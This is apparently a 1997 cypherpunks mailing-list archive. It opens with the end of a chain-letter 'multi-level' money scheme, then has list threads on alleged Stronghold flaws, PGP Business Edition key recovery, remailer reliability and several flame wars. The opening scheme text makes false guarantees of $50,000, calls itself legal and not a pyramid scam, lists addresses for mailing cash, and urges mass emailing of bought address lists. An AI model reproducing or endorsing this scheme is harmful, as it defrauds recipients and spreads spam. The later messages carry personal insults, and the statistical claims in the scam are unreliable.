potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did,
take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested. 
Any doubts you have will vanish when your first orders come in.  IT
WORKS!

                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes,
and we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With
a 5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000. 
Out of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for
you. CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! 
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe
me, many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already have an
internet connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and
best of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated that between 50% and 65% of
all goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of
the 500,000 millionaires in the US, 20% (100,000) made their fortune in
the last several years in MLM.  Moreover, statistics show 45 people
become millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making


opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and
selling our products.  Every state in the USA allows you to recruit new
multi- level business partners, and we offer a product for EVERY dollar
sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)  
Order all four 4 REPORTS listed by NAME AND NUMBER.  Do
this by ordering the REPORT from each of the four 4 names
listed on the next page.  For each REPORT, send $5 CASH and a
SELF-ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
person listed for the SPECIFIC REPORT.  International
orders should also include $1 extra for postage.  It is essential
that you specify the NAME and NUMBER of the report
requested to the person you are ordering from.  You will need ALL
FOUR 4 REPORTS because you will be REPRINTING and RESELLING
them. DO NOT alter the names or sequence other than what the
instructions say.  IMPORTANT:  Always provide same-day service on all orders.

Step (2)  
Replace  the  name  and  address  under  REPORT #1  with
yours,  moving the one that was there down to REPORT #2.
Drop  the  name and address under REPORT #2 to REPORT #3,
moving the one that was there to REPORT #4.  The name and
address that was under REPORT #4 is dropped from the list
and this party  is  no doubt on the way to the bank.  When
doing   this,   make   certain   you  type  the  names
and addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT 
POSITIONS!!!

Step (3)  
Having made the required changes in the NAME list, save it
as a text (.txt) file in it's own directory to be used
with whatever email program you like.  Again, REPORT #3 will
tell you the best methods of bulk emailing and acquiring email lists.

Step (4)  
Email a copy of the entire program (all of this is very
important) to everyone whose address you can get your
hands on. Start with friends and relatives since you can
encourage them to take  advantage of this  fabulous  money-making
opportunity.  That's what I did.  And they love me now,
more than ever.  Then, email to anyone and everyone!  Use your
imagination!  You can get email addresses from companies
on the internet who specialize in email mailing lists.  These
are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

John Net
130 Bd Massena
APPT 3060
75013 Paris
FRANCE
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Van Marketing Inc.
Apartado 799 
8500 Portimão
Portugal

________________________________________________________

REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Cyberhighway Marketing Inc.
P.O.Box 24327
Jacksonville, FL 32241-4327


________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

After Hours Software
56 Eugene St
Tonawanda, NY 14150

________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to
say "NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5
that costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have
probably received chain letters, asking you to send money, on faith, but
getting NOTHING in return, NO product what-so-ever!  Not only are chain
letters illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS. 
The information contained in these REPORTS will not only help you in
making your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a
copy. Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no
way that I could not get enough orders to at least get my money back. 
BOY, was I ever surprised when I found my medium sized post office box
crammed with orders!  I will make more money this year than any ten
years of my life before."

                                        Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when
the orders start coming in.  When you receive a $5 order, you MUST send
out the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.        Name your new company. You can use your own name if you desire.

2.        Get a post office box (preferred).

3.        Edit the names and addresses on the program. You must remember,
        your name and address go next to REPORT #1 and the others all
        move down one, with the fourth one being bumped OFF the list.

4.        Obtain as many email addresses as possible to send until you
        receive the information on mailing list companies in REPORT #3.

5.        Decide on the number of programs you intend to send out.  The
        more you send, and the quicker you send them, the more money
        you will make.

6.        After mailing the programs, get ready to fill the orders.

7.        Copy the four 4 REPORTS so you are able to sent them out as
        soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
        SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.        Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you
must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you
don't within two weeks, email out more programs until you do.  Then a
couple of weeks later you should receive at least 100 orders for REPORT #2,
if you don't, send out more programs until you do.  Once you have
received 100 or more orders for REPORT #2, (take a deep breath) you can sit
back and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you
can keep track of your program by knowing what people are ordering from.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sun, 5 Oct 1997 13:34:56 +0800
To: Phillip Hallam-Baker <cypherpunks@cyberpass.net>
Subject: Pompous Phill [was: RE: counter-intuitive -- spam is good for you]
In-Reply-To: <01BCD123.C0136B90.hallam@ai.mit.edu>
Message-ID: <971005.043016@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971004:2213 
    Phillip Hallam-Baker <hallam@ai.mit.edu> publicly excreted:

+On Friday, October 03, 1997 4:02 AM, Attila T. Hun [SMTP:attila@hun.org] 
+wrote:
+>     law enforcement did not deter the hacks on the state department,
+>     the FBI, and even the CIA.  I dont advocate the hacks, but it is     
+>     amusing to watch the great watchdogs of security take a hit.
+
+Since I have no responsibility for either site I don't much care
+Actually neither has responsibility as a security watchdog,
+that is the NSA's job.
+
    that's mighty white of you, boy.  security is everyone's business 

+>     with your spoiled brat rantings, you make your site as tempting as 
+>     some of the other nose tweakers who need a serious attitude 
+>     adjustment
+
+Actually I think you are the spoiled brat. If you had any real 
+experience of computer security you would know who I am 
+and who I work with.
+
    oh, my!  a self-righteous, ostentatious, gratuitous, chest thumper.
    maybe even a national hero! "Pompous in high presumption" (Chaucer)

    has your press relations officer given your home town newspaper
    an exclusive broadside to make your mum proud?

    probably still looking for his horse...

+One of the principles of propaganda is reflection - poor 
+propagandists accuse others of their own faults. My guess
+is that Attila is a sixteen year old schoolkid who thinks that
+downloading PGP and reading Bruce's book makes him a 
+security expert.

    the truth would surprise you.
    those who know had a need to know; the rest are irrelevant. 

+The real complacent folk are the ones that put their trust in 
+cargo cult readings of Bill Morris.

    one of Sir Winston Churchill's great lines obviously applies:
    
      "[Hallam-Baker] has the gift on compressing the largest 
        amount of words into the smallest amount of thoughts."

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDclZL04kQrCC2kFAQHI3wP/fWxVpyPPcsVL8YcfzGxEzjKpyx8hG/cd
oeZA0A8Emd0GxqlCC0pBfYjWYTHGR04ZS5Isd8aclzwUbSq/pNEN3s//X19TI99L
mkwruv0TdofoNBYbL0w+sJ6mk4vJpU7PHdE9keSjSaGgJJZ+YfASdzUDSpID8OOX
w5U+w/aUw8M=
=J2Fj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 5 Oct 1997 10:49:46 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
Message-ID: <199710050234.EAA08104@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> Dimitri:
> Perhaps this is unfair, but it now appears that you are using
> the disputed censorship issue to cloud your reluctance, or
> inability, to substantiate a fault in Stronghold.

Unless C2Net publicly announces that Dimitri is free to post 
anything he chooses about C2Net and the software they produce,
without threat of lawsuit or prosecution, then it is patently
unfair to castigate him for failing to share whatever information
he may have in regard to their product.
Like it or not, C2Net has declared that the integrity of their
product is dependent upon men with guns who have the power to
take people before the inquisitors, squelching all intimations
of weakness or impropriety in the design of their product.

If Ray Arachelian sues Dimitri for libel, I will start wondering
just how many people he has, indeed, murdered.
(Nothing personal, Ray, but are you *sure* that stain on your tie
 is ketchup?)

ToothMonger
"Take a byte out of slime."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 5 Oct 1997 19:26:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05aaebebd1c@[17.219.102.47]>
Message-ID: <2f7a322aeda39b75b0d2ea5678b33459@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



http://simson.vineyard.net/clips/96.SJMN.PGPBusinessEdition.html

[...]
                             PRETTY LOOSE PRIVACY
[...]
   Published: April 2, 1996
   BY SIMSON L. GARFINKEL
[...]
   Viacrypt, an Arizona company that sells the popular program Pretty
   Good Privacy, or PGP, last month announced a new version tailored for
   businesses. The new program allows companies to ''decrypt'' -- and
   then read -- information sent to or received by employees without
   their knowledge or consent.
[...]
   An employee's right to privacy is nebulous at best. The Electronic
   Communications Privacy Act of 1986 specifically allows companies to
   monitor the electronic mail of their own employees.
   
   That has not stopped Zimmermann from complaining loudly about the PGP
   name being used in a product that allows someone other than the author
   or the intended recipient access to information. Viacrypt owns the
   licensing rights to sell the commercial versions of PGP.
   
   ''PGP does not stand for back doors,'' said Zimmermann. ''I don't mind
   if they sell a program that has a back door in it, but they shouldn't
   call it PGP.''
[...]
   ''If your employer can read your mail anytime he wants, without your
   permission, that goes against the spirit of the PGP trademark,'' said
   Zimmermann.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 5 Oct 1997 23:22:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05aaebebd1c@[17.219.102.47]>
Message-ID: <v03102800b05d58dd0280@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Quote of the Year: ''PGP does not stand for back doors,'' said Zimmermann.
''I don't mind if they sell a program that has a back door in it, but they
shouldn't call it PGP. If your employer can read your mail anytime he
wants, without your permission, that goes against the spirit of the PGP
trademark."

At 4:25 AM -0700 10/5/97, Anonymous wrote:
>http://simson.vineyard.net/clips/96.SJMN.PGPBusinessEdition.html
...
>                             PRETTY LOOSE PRIVACY
>[...]
>   Published: April 2, 1996
>   BY SIMSON L. GARFINKEL
...
>   That has not stopped Zimmermann from complaining loudly about the PGP
>   name being used in a product that allows someone other than the author
>   or the intended recipient access to information. Viacrypt owns the
>   licensing rights to sell the commercial versions of PGP.
>
>   ''PGP does not stand for back doors,'' said Zimmermann. ''I don't mind
>   if they sell a program that has a back door in it, but they shouldn't
>   call it PGP.''
>[...]
>   ''If your employer can read your mail anytime he wants, without your
>   permission, that goes against the spirit of the PGP trademark,'' said
>   Zimmermann.

Pretty Good Point, I'd say. And we ought to keep quoting these comments.

I agree that an employer has a "right" to read employee mail, sent on
company time with company resources.

However, a program which facillitates this has no business being called
"Pretty Good Privacy." As Phil notes, it goes against the whole spirit of
PGP. It's surveillance, pure and simple.

Further, while businesses have every right to monitor their workers (Hey,
I'm not saying I _like_ this, just that the alternative of banning such
monitoring would be abusive to a property owner's rights), we should not be
_encouraging_ the spread of such technologies. Especially given the very
real risk that wide deployment of "Business PGP" could present.

Wide deployment of "Business PGP" would also make eventual GAK much easier
to implement. One plausible scenario is that companies would have to make
available the escrowed copies of e-mail upon request by law enforcement.
(Such records are of course already subject to subpoena, not to mention
inspection by various and sundry other government agencies.)

A further scenario is that "Business PGP" is _mandated_ within businesses
or corporations by the ever-increasing regulatory web imposed by
government. The SEC will want to ensure that insider trading is not being
discussed, the FTC will want to snoop on possible anti-competitive
communications, the DEA will want to investigate use of corporate shipping
systems for drug distribution, and, of course, the various intelligence
agencies will want access.

"Business PGP" will be just another requirement, like certain accounting
practices, like OSHA requirements, etc. Random inspections will force
compliance, with fines for violations.

Under this scenario, the so-called "rights" of individuals will not even
arise, as the government rules will affect businesses, which are not held
to have rights in the same way individuals are. (I happen to disagree, and
think the owners of XYZ Corporation have the same rights to do with their
property as J. Random Citizen has, but the courts have ruled otherwise.)

The wide adoption of "Business PGP" could also mean short shrift to non-KR
versions, including a lag in availability, or even eventual dropping of
development efforts. (I'm sure PGP, Inc. will assure us otherwise, but this
could still be an eventual development, if, for example, "Business PGP"
accounts for 80% of their sales.)

I agree with Phil Zimmermann's point:  ''PGP does not stand for back
doors,'' said Zimmermann. ''I don't mind if they sell a program that has a
back door in it, but they shouldn't call it PGP. If your employer can read
your mail anytime he wants, without your permission, that goes against the
spirit of the PGP trademark."

Let's hope PGP, Inc. comes to their senses and stops doing the work of Big
Brother.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sun, 5 Oct 1997 17:56:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Stronghold
Message-ID: <343b60e7.102167602@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 5 Oct 1997 00:21:33 -0500, nobody@REPLAY.COM (Anonymous) wrote:

>
>John Young wrote:
>> Dimitri:
>> Perhaps this is unfair, but it now appears that you are using
>> the disputed censorship issue to cloud your reluctance, or
>> inability, to substantiate a fault in Stronghold.
>
>Unless C2Net publicly announces that Dimitri is free to post 
>anything he chooses about C2Net and the software they produce,
>without threat of lawsuit or prosecution, then it is patently
>unfair to castigate him for failing to share whatever information
>he may have in regard to their product.
>Like it or not, C2Net has declared that the integrity of their
>product is dependent upon men with guns who have the power to
>take people before the inquisitors, squelching all intimations
>of weakness or impropriety in the design of their product.
>

Use the remailers.  That's what they're there for.  Am I being overly
simplistic here?  

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 6 Oct 1997 00:59:15 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05d58dd0280@[207.167.93.63]>
Message-ID: <199710051653.MAA10344@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800b05d58dd0280@[207.167.93.63]>, on 10/05/97 
   at 08, Tim May <tcmay@got.net> said:

>Let's hope PGP, Inc. comes to their senses and stops doing the work of
>Big Brother.

This is really silly Tim,

The ability to encrypt using multiple keys has been a feature of PGP since
day one. All the Business Edition is doing is automating the process.
Despite the flawed news reports on this matter (who would have guessed)
their is nothing covert about it. The user is both informed that this is
being done and there is a way for the user to disable it in the client.

This has been discussed before on this list and others, and few have
disagreed, that a company has a legitimate need to be able to access its
encrypted data. If employees want to send love letters or whatnot then
they should not be doing it on company time using company resources.

If a corporation wishes to establish a company policy that all
correspondence be encrypted with the companies master key it is their
right to do so and IMNSHO it would be foolhardy for them to do otherwise. 

Claiming that they are doing the work of Big Brother is a cheap-shot and
uncalled for.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNDfHk49Co1n+aLhhAQFnWQQAorD2znejbM7YxYmIIH0gn3D+KyltWbqR
KXy3U9n6ObmQRLrXPR+D12WsfkO8wUXCBbXvEkWFTenSIC+ejgRK7hRqdq7lj4oF
Fs1AGcHeKVsUL9M06nOhQqlZjHU03WcDWFhrBIJQZL3NVFz0QzzfaS+m9X673vVN
7fKPBQMwZfA=
=tBYy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 6 Oct 1997 03:30:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05d58dd0280@[207.167.93.63]>
Message-ID: <v03102801b05d9436f3e6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:46 AM -0700 10/5/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <v03102800b05d58dd0280@[207.167.93.63]>, on 10/05/97
>   at 08, Tim May <tcmay@got.net> said:
>
>>Let's hope PGP, Inc. comes to their senses and stops doing the work of
>>Big Brother.
>
>This is really silly Tim,
>
>The ability to encrypt using multiple keys has been a feature of PGP since
>day one. All the Business Edition is doing is automating the process.
>Despite the flawed news reports on this matter (who would have guessed)
>their is nothing covert about it. The user is both informed that this is
>being done and there is a way for the user to disable it in the client.

I never claimed it is "covert." (Nor is "Key Recovery" covert, if the
various laws are implemented. Does this make mandatory Key Recovery
acceptable?)

Nor, so far as I have read, can employees disable the "Policy" features.


>
>This has been discussed before on this list and others, and few have
>disagreed, that a company has a legitimate need to be able to access its
>encrypted data. If employees want to send love letters or whatnot then
>they should not be doing it on company time using company resources.

I repeated this point _twice_.

That employers want to read mail is not surprising, or illegal. But PGP
loses its claims to protect personal privacy if it builds in these
capabilities. This is what Phil said, too.

>Claiming that they are doing the work of Big Brother is a cheap-shot and
>uncalled for.

(Ironic coming from a frequent issuer of cheap shots.)


It is the work of Big Brother, as Garfinkel, Zimmermann, and I agree, when
it becomes a default that additional recipients are automatically copied on
encrypted mail. It may be useful to companies, but it's still dangerous.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 6 Oct 1997 00:31:20 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
Message-ID: <1.5.4.32.19971005161138.0075ca00@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri and Cloned Anonymees continued the rotten-egging of 
Stronghold faults:

If there's a fault in Stronghold, expose it, in detail, for merely 
proclaiming there is, is sour grapes commercial knocking of a
superior product, or worse, evidence of complicity with
those dark forces who want to prevent global spread of strong
products. Sniff that rhetoric. 

It's the same old Backdoor gossip, as with PGP (freeware 
version, not the latest Freehware, which is evil, evil, how could 
you Phil?).

Using the threat of a lawsuit as grounds to prevent disclosure 
is shrewd way of avoiding having to document an allegation.

Dimitri, you're one smart son of a bitch, and my hat off to your
genius at the dirty business of defamation, no holds barred. 
Defaming an eating-your-lunch competitor is fair play, as C2 
shows how to call your bluff with a bullshit legal bluff.

Anybody with a reliable info on a hidden backdoor in Stronghold
or Dimitri or me,  as with PGP, should get the evidence out for 
verification. Otherwise, such ranting is just trash talk of the 
bluffing game.

Dimitri, out with Stronghold's fault, if you've got it. C2, cut the
legal bluff, it stinks. The badmouthing by both of you is the same old 
toxic waste -- and may mean the two of you're are now in cahoots 
to boost each other's shoddy goods and hide the faults behind a 
phony dispute, like 50 years of mock competitive Ameri-Russky 
junk national security communist-capitalist racketeering so beloved
by die-hard globalist TLAs of business and government.

And I'm eager to rotten-egg it onward.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 6 Oct 1997 01:02:23 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Traffic Analysis (fwd)
Message-ID: <199710051718.MAA00600@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Traffic Analysis (fwd)
> Date: Sun, 5 Oct 97 11:59:53 -0400
> 
> On 10/3/97 10:49 AM, Jim Choate (ravage@ssz.com)  passed this wisdom:
> 
> >If the MTBF for a remailer is n then the MTBF for m remailers is 
> >n*m. Inother words the remailer chain gets less reliable as it gets 
> >longer.  
> 
>   Jim, you want to take a look at that "n*m" again ... it doesn't
> wash. means MTBF goes *up* which means *more* reliable.

Remember n is a fraction, failures/time_period ...

If your MTBF is 1 failure per year for each system and you have 10 systems
your MTBF is 10 failures per year. Looks like multiplication to me....

Course you can look at it another way as well. Which would mean you would
have 1 failure every 10th of a year. That's division, and also misleading
because failures don't care about the time period, they may happen all
at once.

Depends on how you look at MTBF, I generaly look at it the first way because
I can use addition if I'm working on a system that don't have multiplication
(eg machine code on a 68HC11) that way I don't have to build some damn
floating poing library to do division ...

Statistics, damn statistics, and lies.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 6 Oct 1997 01:10:58 +0800
To: users@ssz.com (SSZ User Mail List)
Subject: ISDN status - intermittent
Message-ID: <199710051724.MAA00742@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Just a quick head-up....

The ISDN is going up and down today, there are several SWBT trucks in the
neighborhood. My suspicion is that they are working on the trunk line throw
from the N. Lamar station to the one on Duval behind the church. If this is
the problem then it should go stable (or go dead because of another
documentation error like last time) sometime this afternoon.

Sorry for any inconvenience.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 6 Oct 1997 01:20:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Stronghold (fwd)
Message-ID: <199710051735.MAA00824@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 5 Oct 1997 18:46:14 +0200 (MET DST)
> Subject: Re: Stronghold
> From: nobody@REPLAY.COM (Anonymous)

> It is becoming increasingly obvious that John Young is the real
> troublemaker here. I wouldn't doubt that it was John who was
> behind the original troubles between Vulis and Sameer.
> I think that John Young should be forcefully unsubscribed from
> the Cypherpunks mailing lists. 

You sir are an unmittigated ass and more than a tad immature and selfish.

I will not forcefully unsubscribe anyone from the SSZ node unless cops start
showing up at my door giving me shit, in which case the node might go down
(hopefully temporarily). I may not like what he did but I'll be damned if
I'll go back on my beliefs in free speech just because you or I don't like
it. You want freedom, learn to give it even when it hurts.

Grow up and learn to deal with it.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 6 Oct 1997 04:07:14 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
In-Reply-To: <199710051646.SAA26190@basement.replay.com>
Message-ID: <3.0.3.32.19971005124514.03d6c91c@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:46 PM 10/5/97 +0200, Anonymous wrote:
>
>John Young wrote:
